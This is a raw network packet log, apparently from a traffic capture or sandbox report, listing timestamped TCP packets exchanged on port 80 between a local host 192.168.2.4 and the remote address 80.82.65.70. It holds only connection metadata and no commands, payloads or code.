Dec 13, 2024 03:40:50.157143116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.157186985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.180356979 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.180409908 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.180427074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.180454969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.180569887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.180607080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.180619955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.180644035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.181798935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.181852102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.181854010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.181895971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.182832003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.182885885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.182885885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.182928085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.183681011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.183727980 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.183803082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.183851957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.184712887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.184762955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.184839964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.184887886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.185786009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.185834885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.185902119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.185949087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.186841011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.186889887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.186955929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.187021017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.187887907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.187933922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.187999964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.188045025 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.188941956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.188987970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.189074993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.189116955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.190001011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.190047979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.190114021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.190160036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.191055059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.191102982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.191168070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.191210985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.192111969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.192157984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.192224026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.192267895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.193136930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.193182945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.260045052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.260099888 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.260163069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.260163069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.260802984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.260854959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.260891914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.260895967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.260895967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.260981083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.261357069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.261425018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.261481047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.261538982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.262393951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.262449980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.262453079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.262516022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.263468981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.263603926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.263648987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.263716936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.264503956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.264597893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.264622927 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.264682055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.265552044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.265698910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.265712023 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.265755892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.266617060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.266755104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.266788006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.266835928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.267678022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.267748117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.267815113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.267879963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.268755913 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.268821001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.268903971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.268996954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.269785881 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.269921064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.269965887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.269965887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.270842075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.270910978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.270993948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.271085024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.271914959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.271955013 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.272037983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.272097111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.272973061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.273013115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.273096085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.273155928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.276953936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.277014017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.277456999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.277508020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.277532101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.277545929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.277554035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.277581930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.277617931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.277627945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.277627945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.277656078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.277687073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.277797937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.277998924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.278096914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.278906107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.278985977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.279078007 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.279184103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.280193090 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.280250072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.280340910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.280416012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.281094074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.281145096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.281282902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.281347036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.282175064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.282238007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.282356024 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.282408953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.283137083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.283288002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.283354998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.283411980 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.284220934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.284312963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.284395933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.284475088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.285303116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.285343885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.285470963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.285511971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.286395073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.286429882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.286473036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.286473036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.287482023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.287543058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.336601019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.336653948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.336659908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.336714983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.336719036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.336762905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.336854935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.336932898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.337888956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.337941885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.337946892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.337999105 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.338766098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.338819981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.338841915 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.338872910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.339387894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.339474916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.339478970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.339535952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.340221882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.340318918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.340343952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.340403080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.341089010 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.341155052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.341217995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.341259956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.342001915 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.342107058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.342111111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.342180014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.342852116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.342937946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.342978954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.343048096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.343744040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.343812943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.343883991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.343971014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.344719887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.344783068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.344790936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.344837904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.345604897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.345659018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.345721006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.345721006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.346350908 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.346400976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.346405029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.346462011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.349978924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.350028992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.373229027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.373317003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.373364925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.373364925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.373567104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.373606920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.373770952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.374247074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.374295950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.374340057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.374340057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.374463081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.374572039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.374622107 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.374622107 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.375370026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.375433922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.375509024 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.375580072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.376231909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.376323938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.376372099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.376452923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.377108097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.377182961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.377228022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.377300024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.377963066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.378026009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.378107071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.378176928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.378835917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.378911972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.378963947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.379039049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.379722118 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.379822969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.379842997 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.379900932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.380575895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.380700111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.380721092 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.380779028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.381438971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.381485939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.381561995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.381669998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.382324934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.382366896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.382432938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.382524014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.383157015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.383239031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.452644110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.452733040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.452735901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.452789068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.452860117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.452919960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.453227043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.453298092 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.453880072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.453938961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.454061031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.454129934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.454803944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.454848051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.454989910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.455061913 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.455717087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.455755949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.455884933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.455939054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.456454039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.456479073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.456502914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.456576109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.457307100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.457386017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.457480907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.457550049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.458221912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.458240986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.458268881 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.458329916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.459078074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.459148884 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.459228039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.459285975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.459988117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.460059881 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.460185051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.460237026 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.460973024 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.460992098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.461028099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.461028099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.461668968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.461735964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.461848021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.461906910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.462626934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.462677002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.462790966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.462832928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.463388920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.463442087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.463721991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.463785887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.464471102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.464497089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.464519978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.464598894 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.465354919 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.465390921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.465404987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.465435028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.466043949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.466099024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.466214895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.466264009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.466976881 CET	80	49730	80.82.65.70	192.168.2.4
